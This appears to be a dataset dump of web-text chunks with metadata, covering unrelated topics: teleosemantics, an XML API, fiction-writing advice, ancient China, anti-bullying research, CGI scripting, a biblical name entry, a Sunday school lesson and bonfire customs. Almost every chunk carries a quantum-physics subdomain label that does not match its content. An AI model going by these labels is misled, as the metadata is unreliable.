"subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6003436461097109, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 50, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.874529"} {"text": "food, shelter, mates, etc. \u2014 but that they are, in principle, unable to deal with contents that cannot have impacted on fitness, or not in any suitably selective way. some contents cannot have impacted on fitness because they belong to the future or are non - existent. others cannot affect fitness in any suitably selective way because, although they have an impact, their impact is too non - specific : for example, quarks have an impact but because they are omnipresent in our environment they cannot qualify as the content of a representation by virtue of some simple selectional story. this objection is hard to assess for a number of reasons. one is that there are many different kinds of sophisticated concepts and capacities and accounting for them all is a large task. another is that, while the objection is posed as an objection to all teleosemantic theories, different versions will address it in different ways. yet another is that we might allow that it is still early days with respect to the development of teleological ( and other ) naturalistic theories of mental content. it has really only been since the advent of cognitive science in the middle of the last century and the general acceptance of a broadly physicalist perspective on the mind in the decades that followed that philosophers of mind have devoted much effort to trying to give a naturalistic theory of mental content. in view of all of this, the present section can do little more than offer a few remarks about how some versions of teleosemantics make some inroads on the issue. most of the points that follow have been touched on in earlier sections. it should be emphasized that those who favor teleosemantic theories rarely restrict the relevant functions to those that derive from natural selection operating over an evolutionary span of time. as remarked earlier, there might be non - intentional selection processes that operate over the span of a culture or over the span of an individual ' s own development or life. meme selection, conditioning or some other forms of learning and neural selection are considered to be relevant kinds of selection by some proponents of teleosemantics. those who favor modest teleo - functional theories would also emphasize that conceptual atomism is highly controversial. conceptual atomism is the view that every concept of roughly the grain of a lexeme of a natural language derives its content, constitutively speaking, independently of every other such concept ' s content. many psychologists and some philosophers believe that some complex concepts are somehow composed out of or are anyway learned through the use of simpler", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.602630537647877, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 51, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.875543"} {"text": "lexeme of a natural language derives its content, constitutively speaking, independently of every other such concept ' s content. many psychologists and some philosophers believe that some complex concepts are somehow composed out of or are anyway learned through the use of simpler concepts. crucially, to deny that conceptual atomism is true does not commit one to the view that complex concepts are simply defined in terms of simpler concepts ( a fuller discussion of concepts and whether conceptions can play any role in determining reference is outside of the scope of this entry ). millikan would in this context ask us to take note of her notions of derived and adapted proper functions. what millikan refers to as a \u201c direct proper function \u201d belongs to a mechanism for which there has been selection. the mechanisms that produce camouflage patterns on the surface of the octopus have the direct proper function to do so. the patterns that the mechanisms produce by means of which they perform this function possess what millikan calls a \u201c derived proper function, \u201d derived from the function of the mechanism to provide camouflage. further, a pattern produced on a particular occasion has an \u201c adapted derived proper function, \u201d which is a relational function, in this case to provide camouflage in that particular setting in which the octopus is situated. millikan makes use of these extended senses in which items may have functions to try to explain the contents of novel representations and representations that are produced as a result of learning. learning mechanisms have certain functions and when they perform their functions in particular circumstances their products can have adapted derived proper functions in relation to those circumstances, whether or not the circumstances obtained during the history of our species. millikan ( 2000 ) gives an extensive treatment of concepts. in brief, her view is that conceptions play no role in determining the extensions of the concepts with which they are associated. millikan ' s theory presupposes innate learning mechanisms that are tuned to identify substances of different sorts in accord with certain principles. the relevant sort of substance is that which accounts for the past selective success of the learning mechanisms. for instance, some mental mechanisms might have been selected for recognizing faces of individuals in accord with certain principles of operation, and others might have been selected for recognizing animals of different species in accord with other principles of operation. these mechanisms can acquire the \u201c purpose \u201d to recognize something more specific, such as a particular individual ' s face or animals of a particular species, because the mechanisms were selected for recognizing things in that domain ( faces or animals ) in accord with certain principles of operation and,", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.6400521270747459, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 52, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.876547"} {"text": "the \u201c purpose \u201d to recognize something more specific, such as a particular individual ' s face or animals of a particular species, because the mechanisms were selected for recognizing things in that domain ( faces or animals ) in accord with certain principles of operation and, in accord with those principles, it is a particular individual ' s face or animals of a particular species that it now has the \u201c purpose \u201d to recognize. the extension of a substance concept, she tells us, is what substance it was selected to recognize. large issues relevant to assessing the different teleological theories of content remain to be settled. on a hopeful note, much good work has been done in exploring the possible range of such theories, in producing interesting in - principle objections and in responding to such objections in ways that have resulted in better developed or better defended versions. we should also keep in mind that serious work on naturalistic theories of content has only been going on for decades rather than centuries and that, on a philosophical timescale, that is quite a short time. - agar, n., 1993, \u201c what do frogs really believe? \u201d, in australasian journal of philosophy, 71 : 1 \u2013 12. - allen, c., bekoff, m. & lauder, g. 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price, c., 1998, \u201c determinate functions \u201d, in nous, 32 : 54 \u2013 75. - \u2013 \u2013 \u2013 2001, functions in mind : a theory of intentional content, oxford : clarendon press. - prinz, j., 2002, furnishing the mind : concepts and their perceptual basis, cambridge, ma : bradford, mit. - putnam, h., 1975, \u201c the meaning of \u2018 meaning \u2019 \u201d, in k. gunderson, language, mind and knowledge, minnesota, minneapolis : university of minnesota press, 131 \u2013 93 ; reprinted in h. putnam, philosophical papers, vol 2 : mind, language and reality, cambridge, uk : cambridge university press. - rey, g., 1997, contemporary philosophy of mind, cambridge, ma : blackwell. - schwartz, p., 1999, \u201c proper function and recent selection, \u201d in philosophy of science, 66 ( 3 ) ( supplement ) : s210 \u2013 s222. - shapiro, l., 1992, \u201c darwin and disjunction", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5751258439044689, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 59, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.884056"} {"text": ", p., 1999, \u201c proper function and recent selection, \u201d in philosophy of science, 66 ( 3 ) ( supplement ) : s210 \u2013 s222. - shapiro, l., 1992, \u201c darwin and disjunction : foraging theory and univocal assignments of content, \u201d in proceedings of the 1992 biennial meeting of the philosophy of science association, vol. 1, 469 \u2013 480. - shea, n., 2007, \u201c consumers need information : supplementing teleosemantics with an input condition \u201d in philosophy and phenomenological research, 75 ( 2 ) : 404 \u2013 435. - \u2013 \u2013 \u2013 forthcoming, \u201c millikan ' s isomorphism requirement \u201d in j. kingsbury, d. ryder and k. williford ( eds. ), millikan and her critics, oxford : blackwell. - sober, e., 1984, the nature of selection, chicago : university of chicago press. - stampe, d., 1977, \u201c toward a causal theory of linguistic representation \u201d, in p. a. french, t. e. uehling, jr., and h. k. wettstein ( eds ) midwest studies in philosophy : studies in the philosophy of language, vol. 2, minneapolis : university of minnesota press, 81 \u2013 102. - sterelny, k, 1990, the representational theory of mind : an introduction, cambridge, ma : blackwell. - wright, l., 1973, \u201c functions \u201d, in the philosophical review, 82 : 139 \u2013 168. - \u2013 \u2013 \u2013 1976, teleological explanation, berkeley, ca : university of california press. how to cite this entry. preview the pdf version of this entry at the friends of the sep society. look up this entry topic at the indiana philosophy ontology project ( inpho ). enhanced bibliography for this entry at philpapers, with links to its database. - sober, e., 2011, \u201c selection for : what fodor and piattelli - palmarini got wrong, \u201d online manuscript. - teleosemantics, mark rowland ' s \u201c field guide \u201d entry on teleosemantics. - teleofunctionalism, scholarpedia entry by william lycan & karen neander. - bibliography on \u201c teleological approaches to mental content \u201d, maintained by david chalmers, anu. analytic / synthetic distinction | brentano, franz | cognitive science | concepts | consciousness | consciousness : representational theories of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5716208130178857, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 60, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.884935"} {"text": "documentfragment is a \" lightweight \" or \" minimal \" document object. it is very common to want to be able to extract a portion of a document ' s tree or to create a new fragment of a document. imagine implementing a user command like cut or rearranging a document by moving fragments around. it is desirable to have an object which can hold such fragments and it is quite natural to use a node for this purpose. while it is true that a document object could fulfill this role, a document object can potentially be a heavyweight object, depending on the underlying implementation. what is really needed for this is a very lightweight object. documentfragment is such an object. furthermore, various operations \u2014 such as inserting nodes as children of another node \u2014 may take documentfragment objects as arguments ; this results in all the child nodes of the documentfragment being moved to the child list of this node. the children of a documentfragment node are zero or more nodes representing the tops of any sub - trees defining the structure of the document. documentfragment nodes do not need to be well - formed xml documents ( although they do need to follow the rules imposed upon well - formed xml parsed entities, which can have multiple top nodes ). for example, a documentfragment might have only one child and that child node could be a text node. such a structure model represents neither an html document nor a well - formed xml document. when a documentfragment is inserted into a document ( or indeed any other node that may take children ) the children of the documentfragment and not the documentfragment itself are inserted into the node. this makes the documentfragment very useful when the user wishes to create nodes that are siblings ; the documentfragment acts as the parent of these nodes so that the user can use the standard methods from the node interface, such as insertbefore and appendchild. direct base classes : abstractcontainernode inherited functions : addeventlistener, appendchild, attributes, autorelease, bubbleevent, captureevent, childnodes, clonenode, copynode, dispatchattrmodified, dispatchcharacterdatamodified, dispatchevent, dispatchnodeinserted, dispatchnodeinsertedintodocument, dispatchnoderemoved, dispatchnoderemovedfromdocument, dispatchsubtreemodified, duplicate, events", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4990128857584948, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.888264"} {"text": "dispatchevent, dispatchnodeinserted, dispatchnodeinsertedintodocument, dispatchnoderemoved, dispatchnoderemovedfromdocument, dispatchsubtreemodified, duplicate, events, eventssuspended, findattribute, findelement, findnode, firstchild, getnodebypath, getnodebypathns, getnodevalue, hasattributevalue, hasattributes, haschildnodes, innertext, insertbefore, issupported, lastchild, localname, namesareequal, namespaceuri, nextsibling, nodename, nodetype, nodevalue, normalize, ownerdocument, parentnode, prefix, previoussibling, release, removechild, removeeventlistener, replacechild, setnodevalue, setownerdocument const xmlstring & nodename ( ) const ; see also : poco : : xml : : abstractnode : : nodename ( ) unsigned short nodetype ( ) const ; see also : poco : : xml : : node : : nodetype ( ) see also : poco : : xml : : abstractnode : : copynode ( )", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5271798029365132, "token_count": 275, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.888641"} {"text": "are your conflicts important and interesting? it is no secret that conflict drives stories. the conflict may be clear and specific ( a meteor is going to destroy the planet! ) or understated and perhaps not even overtly discussed ( ed feels like a failure ). whatever the case, conflict is at the core of any story. something should be or absolutely needs to be resolved, and dealing with that conflict is what the story is about. because of the central conflict, a number of smaller conflicts emerge. here are some central points to consider when approaching conflict in a story : why does it matter? what about the conflict in the story makes it important, both to the characters and to the reader? when the meteor is approaching earth, there \u2019 s a pretty good reason to try to resolve the conflict. death is on the line. a planet in peril is a major conflict.. but most story conflicts aren \u2019 t quite that easily identified with. for example, if you write about a forty - year old man who is committed to losing fifty pounds and running in a marathon, you have to come up with a reason why it is important to the man. perhaps he has started to feel as if his life is routine and that he running out of time to accomplish something. that is the conflict. you also have to come up with a reason and why it is important to the reader. should they like this guy? do they think accomplishing the goal will be meaningful to him? what can be gained or lost? when you start out with a simple desire, such as the marathon, there has to be consequences and rewards. there are obvious benefits to the man getting in shape and running in the marathon. there is a sense of accomplishment to be had, and there are clear health benefits. there should also be consequences both for success and for failure. clearly there is an emotional cost to failure. not managing to accomplish this goal could mean that the man feels more like a failure than when he started on the journey. he may also risk physical injury. there is also the genuine risk that accomplishing his goal may not be as satisfying or life - changing as the man initially thought it would be. what are the smaller conflicts that result from the central conflict? when you have an overall conflict, such as self esteem issues and a lack of interest in life, which a person is trying to solve ( by running in a marathon ) there are going to be other conflicts that occur as a result of the central conflict. for example, the man \u2019 s wife", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46714790570009584, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.891815"} {"text": "self esteem issues and a lack of interest in life, which a person is trying to solve ( by running in a marathon ) there are going to be other conflicts that occur as a result of the central conflict. for example, the man \u2019 s wife might be overweight and resent the fact that he is trying to improve. she may be indignant or she may even try to sabotage his attempts by bringing home sugary or fatty foods or trying to find other ways to occupy his time. there may also be conflicts at work because the man isn \u2019 t working the overtime hours that he used to. there are also the aches and pains of running as well as the temptations of abandoning his goal in favor of an easier life. how will the conflict be resolved? the resolution of a central conflict can make or break a novel. there is, of course, the possibility of defeat. not every conflict gets resolved favorably, even if the expected outcome arrives. we \u2019 ve already discussed the idea of consequences for victory as well. the man may complete the marathon but lose his wife or his job, for example. the resolution must matter to the reader. if the reader has stuck around for 50, 000 words, only to meet up with a resolution that either doesn \u2019 t make sense or doesn \u2019 t feel earned, the reader is going to be upset. if the conflict matters, than the resolution must feel logical and earned.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5080272133355291, "token_count": 287, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.892389"} {"text": "social structure of ancient china let ' s learn about china ' s social structure description : peasants of ancient china image copyright : www. haikudesign. com a. which groups made up china \u2019 s social structure? * in first class were the kings and nobles ; they were at the highest level. * then came the lords and warriors, they were in the second class. * lastly were the peasants, they were in the lowest class. b. what were the rights and responsibilities of each group? * the kings lead the government and gave land to different lords. * the lords \u2019 responsibilities were to pay the taxes to the king and provided warriors to protect the land. * peasants farmed the nobles land and worked for the nobles and kings. c. why were some groups more powerful than others? * they were more powerful because they were wealthy and known. * they had a lot more resources than others. d. why were boy children highly valued in ancient china \u2019 s society? * boys were valued girls more because they were the ones that passed down the family names to their families. * when their parents got old, the boys were the ones that took care of their parents. e. compare and contrast ancient china \u2019 s social structure with the united states ( our country ) * they are similar because the kings and president are in the highest class. * in the second class in the u. s. are educated adults like lawyers and surgeons and people in the army like marines. while in china it is the warriors. * in the lower class are the homeless and the citizens of the u. s. in ancient china it is the servants and the slaves.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4557626496892573, "token_count": 334, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.893987"} {"text": "a new canadian program is reducing school - based bullying behavior by changing attitudes in the classroom. university of alberta researchers use the educational program to rid schools of bullying behavior specifically directed at students who stutter. the program has been so effective at changing attitudes in the classroom that researchers say the template could be used to modify other undesirable behaviors. currently, the teasing and bullying unacceptable behavior ( tab ) program is taught province - wide to students in grades 3 to 6 to reduce teasing and bullying directed at children with differences \u2014 particularly children who stutter. a new study by tab creator marilyn langevin, ph. d., shows the program is getting bullies, victims and bystanders to recognize bullying behavior and deem it unacceptable. \u201c attitudes predict behaviors. if we \u2019 re going to get behavior to change, a first - level intervention is changing attitudes in the classroom, \u201d said langevin. \u201c tab program is one of the building blocks of change. \u201d children who stutter are at three times greater risk of being bullied at school compared with peers who speak fluently. in this study, langevin and her team surveyed more than 600 students who participated in the tab program to evaluate its effectiveness at changing attitudes about stuttering. researchers have learned that children who know someone that stutters \u2014 a family member, friend or peer \u2014 generally have more positive attitudes toward them. however, for individuals with little exposure to stuttering, it \u2019 s a different story as stuttering is an unpredictable disorder characterized by repetitions, prolonged sounds or complete blocks that can be accompanied by head jerks, nods and facial grimaces. a key finding of the study was that the intervention had the most impact on students who previously did not know anyone who stutters. investigators found that these children displayed more positive attitudes and were more likely to engage in social interaction. these students were also more likely to resist peer pressure to socially isolate stuttering children. \u201c it \u2019 s the children who don \u2019 t know someone who stutters that generally have more negative attitudes toward kids who stutter. we \u2019 re very pleased to see this group had the highest change scores since they \u2019 re the group we wanted to target. \u201d children surveyed were also more likely to take a dim view of such behavior after completing the tab program, and had more knowledge of appropriate ways to respond. the survey also showed that children who bullied were most resistant to the tab program itself, compared with victims and \u201c dually involved \u201d students \u2014 those who have bullied but have also been bullied.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4682372026519297, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.897911"} {"text": "so far in this tutorial, we ' ve looked at some of the ways in which you can create pages with lists, image maps and a few other features, which should give you the basis of some fairly clever pages. but look around the web, and you ' ll see that there are a lot more tricks that can be done, like pages where you can fill in all your details, and click on the send button to request a catalogue, or search a database. the way all this is handles is with two important features - forms and scripts. we ' ve already seen how a script is called when you use an imagemap, but the scripting system for web pages is much more sophisticated than that. it ' s based around something called cgi - the common gateway interface - which is designed to make sure that you don ' t have to learn a different way of writing scripts depending on which type of web server that you ' re using. if a script was written for the ncsa web server, it should work with the cern one, and vice - versa. if you ' re using a web server that ' s running on a different type of computer, like os / 2, windows or macintosh, there may be some differences, but the basic principles are pretty much the same. whatever sort of web server you ' re using, scripts have one important thing in common - whatever the script prints out on the screen when it ' s run as a program is what will be sent back to the browser when someone clicks on a link that activates it. so, you ' ll often be able to test your script before installing it on a web site, to make sure that it produces the right messages. however, there ' s one important thing that any script has to do before it can send information destined for the browser - it has to say what sort of information is being sent back - which can be either text or html. that ' s all done by including lines at the start of your script that specify the content - type. here ' s an example, which would work as both a dos batch file or a unix shell script, and tells the browser that the rest of the information should be treated as pre - formatted text echo content - type text / plain echo the second ' echo ' is important - there must be a blank line between the content - type header and the rest of the output from your script. if you want it to display html, just change the content type from text / plain to text / html.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4778994575589959, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.901935"} {"text": "' echo ' is important - there must be a blank line between the content - type header and the rest of the output from your script. if you want it to display html, just change the content type from text / plain to text / html. for example, if you include a link that looks like this then the script below will produce a display like the one shown in the screenshot. echo content - type : text / html echo echo \" < html > < head > < title > the time is now... < / title > < / head > < body > \" echo \" < h1 > current time on this server < / h1 > \" date echo \" < p > thank you for calling. have a nice day < p > \" echo \" < / body > < / html > \" exit to make the script run, you ' ll have to put it in the scripts directory on your web server ; the / cgi - bin / at the beginning of the url for the script is a shorthand, which the server automatically translates to the real name of the directory ( and on an ncsa server, you might need to use ' / htbin / ' instead ). depending on the way your server has been set up, that might be a shared directory, or it could be a directory in your own private web - space. if you rent web space on a commercial server, remember that you might not always have permission to run scripts, so if you want to use them to spice up your pages, check before signing on the dotted line. so, now you know how to send output from the script to the browser, what about the opposite direction? it ' s not quite so straightforward, but once you ' ve got the hang of it, things should be pretty simple. when information is sent from a browser to a script via cgi, it ' s built up into a query string ( sometimes saved in a variable called query _ string ). you ' ll probably have seen a few query strings without realising, when you ' ve clicked on some types of link, and seen your browser display a url that looks something like everything after the question mark is the query string, which consists of a series of variables and their values, separated by & symbols. your script can use those variables to control what it does - which could be displaying a personalised message on the browser, or simply making an entry in a file to log who ' s been accessing your pages. depending on which web server", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.39826242068077544, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.902838"} {"text": "| int. standard bible encyclopedia | ma ' - a - ka ( ma ` akhah ; septuagint : codex vaticanus mocha ; codex alexandrinus maacha ) : a small syrian kingdom adjoining that of geshur on the western border of bashan, the inhabitants of which are called maachathites ( the revised version ( british and american ) \" maacathites \" ), whose territory was taken by jair ( deuteronomy 3 : 14 joshua 12 : 5 ). the border of the geshurites and the maacathites and all mt. hermon were given to the half - tribe of manasseh ( joshua 13 : 11 ). the inhabitants of these kingdoms, however, were not driven out by israel ( joshua 13 : 13 ), and at a later day the children of ammon hired mercenaries from maacah for their encounter with david. the armies met near medeba when the \" syrians \" from maacah found themselves opposed to joab. that famous captain completely routed them ( 2 samuel 10 : 6 ; the septuagint has \" amalek \" ). in 1 chronicles 19 : 6 it is called aram - maacah, syria - maachah ( the king james version ) ; and in 1 chronicles 2 : 23 \" aram \" appears instead of \" maacah. \" it evidently lay between geshur on the south and hermon on the north, being probably bounded by jordan on the west, although no certain indication of boundaries is now possible. they would thus be hemmed in by israel, which accounts for ` geshur and maacath dwell in the midst of israel \" ( joshua 13 : 13 ). it is possible that abel - beth - maacah may have been a colony founded by men from maacah. ( 1 ) septuagint : codex vaticanus mocha ; codex alexandrinus mocha, daughter of nahor, borne to him by reumah ( genesis 22 : 24 ). ( 2 ) septuagint : codex vaticanus maacha ; codex alexandrinus maachath, the one wife of david who was of royal rank, the daughter of talmai, king of geshur, who became the mother of absalom ( 2 samuel 3 : 3 1 chronicles 3 : 2 ). ( 3 ) maacha, father of achish, king of gath ( 1 kings 2 :", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4055756478479827, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.910409"} {"text": ", king of geshur, who became the mother of absalom ( 2 samuel 3 : 3 1 chronicles 3 : 2 ). ( 3 ) maacha, father of achish, king of gath ( 1 kings 2 : 39 ). he is probably referred to as \" maoch \" in 1 samuel 27 : 2. ( 4 ) the daughter of absalom, the favorite wife of rehoboam, and mother of abijah ( 1 kings 15 : 2 2 chronicles 11 : 20, etc. ). evidently \" daughter \" must here be understood as \" granddaughter, \" according to a common oriental usage. tamar was the only daughter of absalom. if tamar married uriel of gibeah ( 2 chronicles 13 : 2 ), then maacah was her daughter. in that case the name micaiah in this passage would be either a copyist ' s error or a variant of maacah. she must have been a woman of strong personality. unfortunately, her influence was cast upon the side of idolatry. she maintained her position in the palace, however, till the reign of her grandson asa. possibly she acted as regent during his minority. ultimately, she was degraded by him for an act of peculiar infamy ( 1 kings 15 : 13 2 chronicles 15 : 16 ). ( 5 ) concubine of caleb, son of hezron ( 1 chronicles 2 : 48 ). ( 6 ) sister of huppim and shuppim the benjamites, who became the wife of machir the manassite, the \" father \" of gilead ( 1 chronicles 7 : 12, 15 f ). ( 7 ) wife of jeiel, the \" father \" of gibeon, an ancestress of king saul ( 1 chronicles 8 : 29 ; 1 chronicles 9 : 35 ). ( 8 ) father of hanan, one of david ' s mighty men ( 1 chronicles 11 : 43 ). ( 9 ) father of shephatiah, ruler of the simeonites under david ( 1 chronicles 27 : 16 ). maacah ( 30 occurrences ) genesis 22 : 24 his concubine, whose name was reumah, also bore tebah, gaham, tahash, and maacah. ( web jps asv bbe dby nas niv ) joshua 12 : 5 and ruled in mount hermon, and in salcah, and in all bashan, unto the border", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3737972578697166, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.911201"} {"text": ", tahash, and maacah. ( web jps asv bbe dby nas niv ) joshua 12 : 5 and ruled in mount hermon, and in salcah, and in all bashan, unto the border of the geshurites and the maacathites, and half gilead, even unto the border of sihon king of heshbon. ( see niv ) joshua 13 : 11 and gilead, and the border of the geshurites and maacathites, and all mount hermon, and all bashan unto salcah ; ( see niv ) joshua 13 : 13 nevertheless the children of israel drove not out the geshurites, nor the maacathites ; but geshur and maacath dwelt in the midst of israel unto this day. ( see niv ) 2 samuel 3 : 3 and his second, chileab, of abigail the wife of nabal the carmelite ; and the third, absalom the son of maacah the daughter of talmai king of geshur ; ( web kjv jps asv bbe wbs ylt nas niv ) 2 samuel 10 : 6 when the children of ammon saw that they were become odious to david, the children of ammon sent and hired the syrians of beth rehob, and the syrians of zobah, twenty thousand footmen, and the king of maacah with one thousand men, and the men of tob twelve thousand men. ( web kjv jps asv bbe dby wbs ylt nas niv ) 2 samuel 10 : 8 the children of ammon came out, and put the battle in array at the entrance of the gate : and the syrians of zobah and of rehob, and the men of tob and maacah, were by themselves in the field. ( web kjv jps asv bbe dby wbs ylt nas niv ) 2 samuel 20 : 14 he went through all the tribes of israel to abel, and to beth maacah, and all the berites : and they were gathered together, and went also after him. ( web jps asv bbe dby nas niv ) 2 samuel 20 : 15 they came and besieged him in abel of beth maacah, and they cast up a mound against the city, and it stood against the rampart ; and all the people", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3603895782574115, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.912682"} {"text": "asv bbe dby nas niv ) 2 samuel 20 : 15 they came and besieged him in abel of beth maacah, and they cast up a mound against the city, and it stood against the rampart ; and all the people who were with joab battered the wall, to throw it down. ( web jps asv bbe dby nas niv ) 1 kings 2 : 39 it happened at the end of three years, that two of the servants of shimei ran away to achish, son of maacah, king of gath. they told shimei, saying, \" behold, your servants are in gath. \" ( web jps asv bbe nas niv ) 1 kings 15 : 2 three years reigned he in jerusalem : and his mother ' s name was maacah the daughter of abishalom. ( web jps asv bbe nas niv ) 1 kings 15 : 10 forty - one years reigned he in jerusalem : and his mother ' s name was maacah the daughter of abishalom. ( web jps asv bbe nas niv ) 1 kings 15 : 13 also maacah his mother he removed from being queen, because she had made an abominable image for an asherah ; and asa cut down her image, and burnt it at the brook kidron. ( web jps asv bbe nas niv ) 1 kings 15 : 20 ben hadad listened to king asa, and sent the captains of his armies against the cities of israel, and struck ijon, and dan, and abel beth maacah, and all chinneroth, with all the land of naphtali. ( web jps asv bbe nas niv ) 2 kings 15 : 29 in the days of pekah king of israel came tiglath pileser king of assyria, and took ijon, and abel beth maacah, and janoah, and kedesh, and hazor, and gilead, and galilee, all the land of naphtali ; and he carried them captive to assyria. ( web jps asv bbe nas niv ) 1 chronicles 2 : 48 maacah, caleb ' s concubine, bore sheber and tirhanah. ( web jps asv bbe nas niv ) 1 chronicles 3 : 2 the third, absalom the son of maacah the daughter of talmai king of geshur", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.36992491285237084, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.913756"} {"text": "niv ) 1 chronicles 27 : 16 furthermore over the tribes of israel : of the reubenites was eliezer the son of zichri the ruler : of the simeonites, shephatiah the son of maacah : ( web jps asv bbe nas niv ) 2 chronicles 11 : 20 after her he took maacah the daughter of absalom ; and she bore him abijah, and attai, and ziza, and shelomith. ( web jps asv bbe nas niv ) 2 chronicles 11 : 21 rehoboam loved maacah the daughter of absalom above all his wives and his concubines : ( for he took eighteen wives, and sixty concubines, and became the father of twenty - eight sons and sixty daughters. ) ( web jps asv bbe nas niv ) 2 chronicles 11 : 22 rehoboam appointed abijah the son of maacah to be chief, even the prince among his brothers ; for he was minded to make him king. ( web jps asv bbe nas niv ) 2 chronicles 13 : 2 he was king in jerusalem for three years ; his mother ' s name was maacah, the daughter of uriel of gibeah. and there was war between abijah and jeroboam. ( bbe niv ) 2 chronicles 15 : 16 also maacah, the mother of asa the king, he removed from being queen, because she had made an abominable image for an asherah ; and asa cut down her image, and made dust of it, and burnt it at the brook kidron. ( web jps asv bbe nas niv )", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.37772962429616236, "token_count": 357, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.915341"} {"text": "march 27, 2011 sunday school lesson 1timothy 5 : 1 - 8, 17 - 22 the apostle paul taught timothy to confront sin wherever and in whomever it occurred. in 2 timothy 4 : 2, paul wrote that the young preacher should \u201c reprove, rebuke, exhort with all longsuffering and doctrine. \u201d to rebuke someone is to confront a person about his sins. however, there are special considerations when we rebuke. for example, those considerations include where the rebuke is made. sometimes it is best done privately, and at other times it is better that it be done publicly. another consideration regards the age of the person who is being rebuked for his sins. god \u2019 s word is clear that respect is due to elderly people. the writer of proverbs said, \u201c whoso curseth his father or his mother, his lamp shall be put out in obscure darkness. \u201d with this is in mind, there is perhaps a better understanding of paul when he wrote, \u201c rebuke not an elder, but intreat him as a father. \u201d if an elderly person sins, a younger person should speak gently to him as if he were speaking to his own father. when rebuking younger men, paul said to treat them as if they are brothers. a brother would know that he was being rebuked in a godly way because timothy had his best spiritual interest at heart. in the same way treat the women with the same rules of consideration as the men, paul said. deal with an elderly woman as if she were your mother and younger women as if they were your sisters. this is wisdom, that if practiced, will always be sufficient for every circumstance. in those days, there were some widows who lived under the care of the church. those were women without means of support. honor, them, paul wrote, because they needed the compassion and concern of the church. there was, however, a distinction among widows since some had no families and others had families who were able contribute to their support. let those families practice charity toward their widowed mother or aunt, supporting her financially, and not leaving this to the church. it is good for family members to help the widow, and paul wrote that it is \u201c good and acceptable before god. \u201d to ignore the needs of family members who cannot provide for themselves is a denial of the faith. paul told timothy to \u201c observe these things without preferring one before another, doing nothing by partiality. \u201d christians", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4455663902338778, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.919030"} {"text": "the custom of kindling bonfires on the first sunday in lent has prevailed in belgium, the north of france, and many parts of germany. thus in the belgian ardennes for a week or a fortnight before the day of the great fire, as it is called, children go about from farm to farm collecting fuel. at grand halleux any one who refuses their request is pursued next day by the children, who try to blacken his face with the ashes of the extinct fire. when the day has come, they cut down bushes, especially juniper and broom, and in the evening great bonfires blaze on all the heights. it is a common saying that seven bonfires should be seen if the village is to be safe from conflagrations. if the meuse happens to be frozen hard at the time, bonfires are lit also on the ice. at grand 